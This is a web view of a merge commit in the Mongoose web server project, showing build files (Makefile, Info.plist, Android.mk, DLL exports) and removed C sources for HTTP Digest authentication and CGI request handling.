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Merge branch 'master' of ssh://github.com/valenok/mongoose

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Sergey Lyubka committed 2014-01-15 18:05:43 +00:00
2 parents d553ae992a c0af018e20
commit 9f1679e900
67 files changed
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build/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key> <string>Mongoose</string>
<key>CFBundlePackageType</key> <string>APPL</string>
<key>CFBundleTypeRole</key> <string>None</string>
<key>CFBundleIconFile</key> <string>mongoose.icns</string>
<key>LSUIElement</key> <true/>
<key>RunAtLoad</key> <true/>
<key>Label</key> <string>com.kolkin.mongoose</string>
<key>ProgramArguments</key> <array> </array>
<key>KeepAlive</key> <true/>
</dict>
</plist>
build/Makefile
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# This Makefile is part of Mongoose web server project,
# https://github.com/valenok/mongoose
#
# This Makefile is GNU make compatible. You can get GNU Make from
# http://gnuwin32.sourceforge.net/packages/make.htm
PROG = mongoose
EXE_SUFFIX =
CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA)
VERSION = $(shell perl -lne \
'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h)
WP = wordpress-private-1.3
RM = rm -rf
VDIR = mongoose-$(VERSION)
# Stock windows binary builds with Lua and YASSL library.
YASSL = ../../cyassl-2.4.6
YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
YASSL_SOURCES = \
$(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
$(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
$(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
$(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
$(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
$(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
$(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
$(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
$(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
$(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
$(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
$(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
$(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
$(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
$(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
$(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
TINY_SOURCES = ../mongoose.c main.c
LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c
LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c
BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES)
SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS
LUA_FLAGS = -DUSE_LUA
LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3
BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS \
-DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS)
# Using Visual Studio 6.0. To build Mongoose:
# Set MSVC variable below to where VS 6.0 is installed on your system
# Run "PATH_TO_VC6\bin\nmake windows"
MSVC = ../../vc6
#DBG = /Zi /Od
DBG = /DNDEBUG /O1 $(CFLAGS_EXTRA)
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I.
LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
LINK = $(MSVC)/bin/link $(LINK_FLAGS)
ifeq ($(OS), Windows_NT)
EXE_SUFFIX = .exe
RM = del
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S), Linux)
CFLAGS += -ldl -lm
endif
endif
all: mongoose$(EXE_SUFFIX)
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
$(PROG): $(TINY_SOURCES)
$(CC) $(TINY_SOURCES) -o $@ $(CFLAGS)
$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES)
$(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES)
$(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS)
$(PROG)-big: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS)
unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c
$(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t
# Windows build
$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua.exe: $(LUA_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).exe: $(TINY_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).dll: $(TINY_SOURCES) Makefile
$(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@
# This is broken now due to SSL exclusion
windows_unit_test.exe: ../mongoose.c Makefile
$(CL) ./test/unit_test.c lua_5.2.1.c \
/link /libpath:$(MSVC)/lib advapi32.lib /out:$@
./$@
# MacOS build with Cocoa GUI
# For codesign to work in non-interactive mode, unlock login keychain:
# security unlock ~/Library/Keychains/login.keychain
# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
macos: $(BIG_SOURCES)
DIR=dmg/Mongoose.app
rm -rf dmg
mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources}
install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/
install -m 644 Info.plist dmg/Mongoose.app/Contents/
$(CC) $(BIG_SOURCES) \
-DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \
-framework Cocoa -ObjC -arch i386 -arch x86_64 \
-o dmg/Mongoose.app/Contents/MacOS/Mongoose
ln -fs /Applications dmg/
hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \
-srcfolder dmg -ov
#rm -rf dmg
tests:
perl ./test/test.pl $(TEST)
tarball: clean
rm -rf $(VDIR)
install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples
install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR)
install -m 644 ../docs/*.md $(VDIR)/docs
install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples
tar -czf $(VDIR).tgz $(VDIR)
release: tarball macos
wine make mongoose.exe mongoose-lua-sqlite-ssl.exe
upx mongoose.exe
upx mongoose-lua-sqlite-ssl.exe
cp mongoose.exe mongoose-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe
zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/
wp: mongoose.exe
upx mongoose.exe
cp mongoose.exe $(WP)/
zip -r $(WP).zip $(WP)
clean:
@cd ../examples && $(MAKE) clean
@$(RM) *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
*.exe *dmg* $(PROG)-* unix_unit_test
build/dll.def
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LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
mg_upload
mg_download
mg_send_file
mg_get_builtin_mime_type
build/jni/Android.mk
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LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
build/lsqlite3.c
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build/lua_5.2.1.c
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build/lua_5.2.1.h
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build/main.c
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build/mongoose.ai
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%PDF-1.5␍%âãÏÓ
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build/mongoose.icns
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build/res.rc
-1
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100 ICON DISCARDABLE "systray.ico"
build/sqlite3.c
-140456
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build/sqlite3.h
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build/src/auth.c
-301
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#include "internal.h"
// Stringify binary data. Output buffer must be twice as big as input,
// because each byte takes 2 bytes in string representation
static void bin2str(char *to, const unsigned char *p, size_t len) {
static const char *hex = "0123456789abcdef";
for (; len--; p++) {
*to++ = hex[p[0] >> 4];
*to++ = hex[p[0] & 0x0f];
}
*to = '\0';
}
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
char *mg_md5(char buf[33], ...) {
unsigned char hash[16];
const char *p;
va_list ap;
MD5_CTX ctx;
MD5Init(&ctx);
va_start(ap, buf);
while ((p = va_arg(ap, const char *)) != NULL) {
MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
}
va_end(ap);
MD5Final(hash, &ctx);
bin2str(buf, hash, sizeof(hash));
return buf;
}
// Check the user's password, return 1 if OK
static int check_password(const char *method, const char *ha1, const char *uri,
const char *nonce, const char *nc, const char *cnonce,
const char *qop, const char *response) {
char ha2[32 + 1], expected_response[32 + 1];
// Some of the parameters may be NULL
if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
qop == NULL || response == NULL) {
return 0;
}
// NOTE(lsm): due to a bug in MSIE, we do not compare the URI
// TODO(lsm): check for authentication timeout
if (// strcmp(dig->uri, c->ouri) != 0 ||
strlen(response) != 32
// || now - strtoul(dig->nonce, NULL, 10) > 3600
) {
return 0;
}
mg_md5(ha2, method, ":", uri, NULL);
mg_md5(expected_response, ha1, ":", nonce, ":", nc,
":", cnonce, ":", qop, ":", ha2, NULL);
return mg_strcasecmp(response, expected_response) == 0;
}
// Use the global passwords file, if specified by auth_gpass option,
// or search for .htpasswd in the requested directory.
static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
char name[PATH_MAX];
const char *p, *e, *gpass = conn->ctx->config[GLOBAL_PASSWORDS_FILE];
struct file file = STRUCT_FILE_INITIALIZER;
FILE *fp = NULL;
if (gpass != NULL) {
// Use global passwords file
fp = mg_fopen(gpass, "r");
// Important: using local struct file to test path for is_directory flag.
// If filep is used, mg_stat() makes it appear as if auth file was opened.
} else if (mg_stat(path, &file) && file.is_directory) {
mg_snprintf(name, sizeof(name), "%s%c%s",
path, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
} else {
// Try to find .htpasswd in requested directory.
for (p = path, e = p + strlen(p) - 1; e > p; e--)
if (e[0] == '/')
break;
mg_snprintf(name, sizeof(name), "%.*s%c%s",
(int) (e - p), p, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
}
return fp;
}
// Parsed Authorization header
struct ah {
char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
};
// Return 1 on success. Always initializes the ah structure.
static int parse_auth_header(struct mg_connection *conn, char *buf,
size_t buf_size, struct ah *ah) {
char *name, *value, *s;
const char *auth_header;
(void) memset(ah, 0, sizeof(*ah));
if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
return 0;
}
// Make modifiable copy of the auth header
(void) mg_strlcpy(buf, auth_header + 7, buf_size);
s = buf;
// Parse authorization header
for (;;) {
// Gobble initial spaces
while (isspace(* (unsigned char *) s)) {
s++;
}
name = skip_quoted(&s, "=", " ", 0);
// Value is either quote-delimited, or ends at first comma or space.
if (s[0] == '\"') {
s++;
value = skip_quoted(&s, "\"", " ", '\\');
if (s[0] == ',') {
s++;
}
} else {
value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
}
if (*name == '\0') {
break;
}
if (!strcmp(name, "username")) {
ah->user = value;
} else if (!strcmp(name, "cnonce")) {
ah->cnonce = value;
} else if (!strcmp(name, "response")) {
ah->response = value;
} else if (!strcmp(name, "uri")) {
ah->uri = value;
} else if (!strcmp(name, "qop")) {
ah->qop = value;
} else if (!strcmp(name, "nc")) {
ah->nc = value;
} else if (!strcmp(name, "nonce")) {
ah->nonce = value;
}
}
// CGI needs it as REMOTE_USER
if (ah->user != NULL) {
conn->request_info.remote_user = mg_strdup(ah->user);
} else {
return 0;
}
return 1;
}
// Authorize against the opened passwords file. Return 1 if authorized.
static int authorize(struct mg_connection *conn, FILE *fp) {
struct ah ah;
char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
return 0;
}
// Loop over passwords file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
continue;
}
if (!strcmp(ah.user, f_user) &&
!strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
return check_password(conn->request_info.request_method, ha1, ah.uri,
ah.nonce, ah.nc, ah.cnonce, ah.qop, ah.response);
}
return 0;
}
// Return 1 if request is authorised, 0 otherwise.
static int check_authorization(struct mg_connection *conn, const char *path) {
char fname[PATH_MAX];
struct vec uri_vec, filename_vec;
const char *list;
FILE *fp = NULL;
int authorized = 1;
list = conn->ctx->config[PROTECT_URI];
while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
mg_snprintf(fname, sizeof(fname), "%.*s",
(int) filename_vec.len, filename_vec.ptr);
fp = mg_fopen(fname, "r");
break;
}
}
if (fp == NULL) {
fp = open_auth_file(conn, path);
}
if (fp != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static void send_authorization_request(struct mg_connection *conn) {
conn->status_code = 401;
mg_printf(conn,
"HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"WWW-Authenticate: Digest qop=\"auth\", "
"realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
conn->ctx->config[AUTHENTICATION_DOMAIN],
(unsigned long) time(NULL));
}
static int is_authorized_for_put(struct mg_connection *conn) {
const char *passfile = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE];
FILE *fp;
int ret = 0;
if (passfile != NULL && (fp = mg_fopen(passfile, "r")) != NULL) {
ret = authorize(conn, fp);
fclose(fp);
}
return ret;
}
int mg_modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
build/src/cgi.c
-384
View File
@@ -1,384 +0,0 @@
#include "internal.h"
static int forward_body_data(struct mg_connection *conn, FILE *fp,
SOCKET sock, SSL *ssl) {
const char *expect, *body;
char buf[MG_BUF_LEN];
int nread, buffered_len, success = 0;
int64_t left;
expect = mg_get_header(conn, "Expect");
assert(fp != NULL);
if (conn->content_len == INT64_MAX) {
send_http_error(conn, 411, "Length Required", "%s", "");
} else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
send_http_error(conn, 417, "Expectation Failed", "%s", "");
} else {
if (expect != NULL) {
(void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
}
buffered_len = conn->data_len - conn->request_len;
body = conn->buf + conn->request_len;
assert(buffered_len >= 0);
if (buffered_len > 0) {
if ((int64_t) buffered_len > conn->content_len) {
buffered_len = (int) conn->content_len;
}
push(fp, sock, ssl, body, (int64_t) buffered_len);
memmove((char *) body, body + buffered_len, buffered_len);
conn->data_len -= buffered_len;
}
nread = 0;
while (conn->num_bytes_read < conn->content_len + conn->request_len) {
left = left_to_read(conn);
if (left > (int64_t) sizeof(buf)) {
left = sizeof(buf);
}
nread = pull(NULL, conn, buf, (int) left);
if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
break;
}
}
if (left_to_read(conn) == 0) {
success = nread >= 0;
}
// Each error code path in this function must send an error
if (!success) {
send_http_error(conn, 577, http_500_error, "%s", "");
}
}
return success;
}
#if !defined(NO_CGI)
// This structure helps to create an environment for the spawned CGI program.
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
// last element must be NULL.
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
// strings must reside in a contiguous buffer. The end of the buffer is
// marked by two '\0' characters.
// We satisfy both worlds: we create an envp array (which is vars), all
// entries are actually pointers inside buf.
struct cgi_env_block {
struct mg_connection *conn;
char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
int len; // Space taken
char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
int nvars; // Number of variables
};
static char *addenv(struct cgi_env_block *block,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(2, 3);
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
// pointer into the vars array.
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
int n, space;
char *added;
va_list ap;
// Calculate how much space is left in the buffer
space = sizeof(block->buf) - block->len - 2;
assert(space >= 0);
// Make a pointer to the free space int the buffer
added = block->buf + block->len;
// Copy VARIABLE=VALUE\0 string into the free space
va_start(ap, fmt);
n = mg_vsnprintf(added, (size_t) space, fmt, ap);
va_end(ap);
// Make sure we do not overflow buffer and the envp array
if (n > 0 && n + 1 < space &&
block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
// Append a pointer to the added string into the envp array
block->vars[block->nvars++] = added;
// Bump up used length counter. Include \0 terminator
block->len += n + 1;
} else {
cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
}
return added;
}
static void prepare_cgi_environment(struct mg_connection *conn,
const char *prog,
struct cgi_env_block *blk) {
const struct mg_request_info *ri = &conn->request_info;
const char *s, *slash;
struct vec var_vec;
char *p, src_addr[IP_ADDR_STR_LEN];
int i;
blk->len = blk->nvars = 0;
blk->conn = conn;
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", mg_version());
// Prepare the environment block
addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
// TODO(lsm): fix this for IPv6 case
addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
addenv(blk, "REMOTE_ADDR=%s", src_addr);
addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
ri->query_string == NULL ? "" : "?",
ri->query_string == NULL ? "" : ri->query_string);
// SCRIPT_NAME
if (conn->path_info != NULL) {
addenv(blk, "SCRIPT_NAME=%.*s",
(int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
addenv(blk, "PATH_INFO=%s", conn->path_info);
} else {
s = strrchr(prog, '/');
slash = strrchr(ri->uri, '/');
addenv(blk, "SCRIPT_NAME=%.*s%s",
slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
s == NULL ? prog : s);
}
addenv(blk, "SCRIPT_FILENAME=%s", prog);
addenv(blk, "PATH_TRANSLATED=%s", prog);
addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
if ((s = mg_get_header(conn, "Content-Type")) != NULL)
addenv(blk, "CONTENT_TYPE=%s", s);
if (ri->query_string != NULL) {
addenv(blk, "QUERY_STRING=%s", ri->query_string);
}
if ((s = mg_get_header(conn, "Content-Length")) != NULL)
addenv(blk, "CONTENT_LENGTH=%s", s);
if ((s = getenv("PATH")) != NULL)
addenv(blk, "PATH=%s", s);
#if defined(_WIN32)
if ((s = getenv("COMSPEC")) != NULL) {
addenv(blk, "COMSPEC=%s", s);
}
if ((s = getenv("SYSTEMROOT")) != NULL) {
addenv(blk, "SYSTEMROOT=%s", s);
}
if ((s = getenv("SystemDrive")) != NULL) {
addenv(blk, "SystemDrive=%s", s);
}
if ((s = getenv("ProgramFiles")) != NULL) {
addenv(blk, "ProgramFiles=%s", s);
}
if ((s = getenv("ProgramFiles(x86)")) != NULL) {
addenv(blk, "ProgramFiles(x86)=%s", s);
}
if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
addenv(blk, "CommonProgramFiles(x86)=%s", s);
}
#else
if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
addenv(blk, "LD_LIBRARY_PATH=%s", s);
#endif // _WIN32
if ((s = getenv("PERLLIB")) != NULL)
addenv(blk, "PERLLIB=%s", s);
if (ri->remote_user != NULL) {
addenv(blk, "REMOTE_USER=%s", ri->remote_user);
addenv(blk, "%s", "AUTH_TYPE=Digest");
}
// Add all headers as HTTP_* variables
for (i = 0; i < ri->num_headers; i++) {
p = addenv(blk, "HTTP_%s=%s",
ri->http_headers[i].name, ri->http_headers[i].value);
// Convert variable name into uppercase, and change - to _
for (; *p != '=' && *p != '\0'; p++) {
if (*p == '-')
*p = '_';
*p = (char) toupper(* (unsigned char *) p);
}
}
// Add user-specified variables
s = conn->ctx->config[CGI_ENVIRONMENT];
while ((s = next_option(s, &var_vec, NULL)) != NULL) {
addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
}
blk->vars[blk->nvars++] = NULL;
blk->buf[blk->len++] = '\0';
assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
assert(blk->len > 0);
assert(blk->len < (int) sizeof(blk->buf));
}
static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
int headers_len, data_len, i, fdin[2] = {-1, -1}, fdout[2] = {-1, -1};
const char *status, *status_text;
char buf[16384], *pbuf, dir[PATH_MAX], *p;
struct mg_request_info ri;
struct cgi_env_block blk;
FILE *in = NULL, *out = NULL;
pid_t pid = (pid_t) -1;
memset(&ri, 0, sizeof(ri));
prepare_cgi_environment(conn, prog, &blk);
// CGI must be executed in its own directory. 'dir' must point to the
// directory containing executable program, 'p' must point to the
// executable program name relative to 'dir'.
(void) mg_snprintf(dir, sizeof(dir), "%s", prog);
if ((p = strrchr(dir, '/')) != NULL) {
*p++ = '\0';
} else {
dir[0] = '.', dir[1] = '\0';
p = (char *) prog;
}
if (pipe(fdin) != 0 || pipe(fdout) != 0) {
send_http_error(conn, 500, http_500_error,
"Cannot create CGI pipe: %s", strerror(ERRNO));
goto done;
}
pid = spawn_process(conn, p, blk.buf, blk.vars, fdin[0], fdout[1], dir);
if (pid == (pid_t) -1) {
send_http_error(conn, 500, http_500_error,
"Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
goto done;
}
// Make sure child closes all pipe descriptors. It must dup them to 0,1
set_close_on_exec(fdin[0]);
set_close_on_exec(fdin[1]);
set_close_on_exec(fdout[0]);
set_close_on_exec(fdout[1]);
// Parent closes only one side of the pipes.
// If we don't mark them as closed, close() attempt before
// return from this function throws an exception on Windows.
// Windows does not like when closed descriptor is closed again.
(void) close(fdin[0]);
(void) close(fdout[1]);
fdin[0] = fdout[1] = -1;
if ((in = fdopen(fdin[1], "wb")) == NULL ||
(out = fdopen(fdout[0], "rb")) == NULL) {
send_http_error(conn, 500, http_500_error,
"fopen: %s", strerror(ERRNO));
goto done;
}
setbuf(in, NULL);
setbuf(out, NULL);
// Send POST data to the CGI process if needed
if (!strcmp(conn->request_info.request_method, "POST") &&
!forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
goto done;
}
// Close so child gets an EOF.
fclose(in);
in = NULL;
fdin[1] = -1;
// Now read CGI reply into a buffer. We need to set correct
// status code, thus we need to see all HTTP headers first.
// Do not send anything back to client, until we buffer in all
// HTTP headers.
data_len = 0;
headers_len = read_request(out, conn, buf, sizeof(buf), &data_len);
if (headers_len <= 0) {
send_http_error(conn, 500, http_500_error,
"CGI program sent malformed or too big (>%u bytes) "
"HTTP headers: [%.*s]",
(unsigned) sizeof(buf), data_len, buf);
goto done;
}
pbuf = buf;
buf[headers_len - 1] = '\0';
parse_http_headers(&pbuf, &ri);
// Make up and send the status line
status_text = "OK";
if ((status = get_header(&ri, "Status")) != NULL) {
conn->status_code = atoi(status);
status_text = status;
while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
status_text++;
}
} else if (get_header(&ri, "Location") != NULL) {
conn->status_code = 302;
} else {
conn->status_code = 200;
}
if (get_header(&ri, "Connection") != NULL &&
!mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
conn->must_close = 1;
}
(void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->status_code,
status_text);
// Send headers
for (i = 0; i < ri.num_headers; i++) {
mg_printf(conn, "%s: %s\r\n",
ri.http_headers[i].name, ri.http_headers[i].value);
}
mg_write(conn, "\r\n", 2);
// Send chunk of data that may have been read after the headers
conn->num_bytes_sent += mg_write(conn, buf + headers_len,
(size_t)(data_len - headers_len));
// Read the rest of CGI output and send to the client
send_file_data(conn, out, 0, INT64_MAX);
done:
if (pid != (pid_t) -1) {
kill(pid, SIGKILL);
}
if (fdin[0] != -1) {
close(fdin[0]);
}
if (fdout[1] != -1) {
close(fdout[1]);
}
if (in != NULL) {
fclose(in);
} else if (fdin[1] != -1) {
close(fdin[1]);
}
if (out != NULL) {
fclose(out);
} else if (fdout[0] != -1) {
close(fdout[0]);
}
}
#endif // !NO_CGI
build/src/core.c
-2832
View File
File diff suppressed because it is too large. Load diff
build/src/core.h
-91
View File
@@ -1,91 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
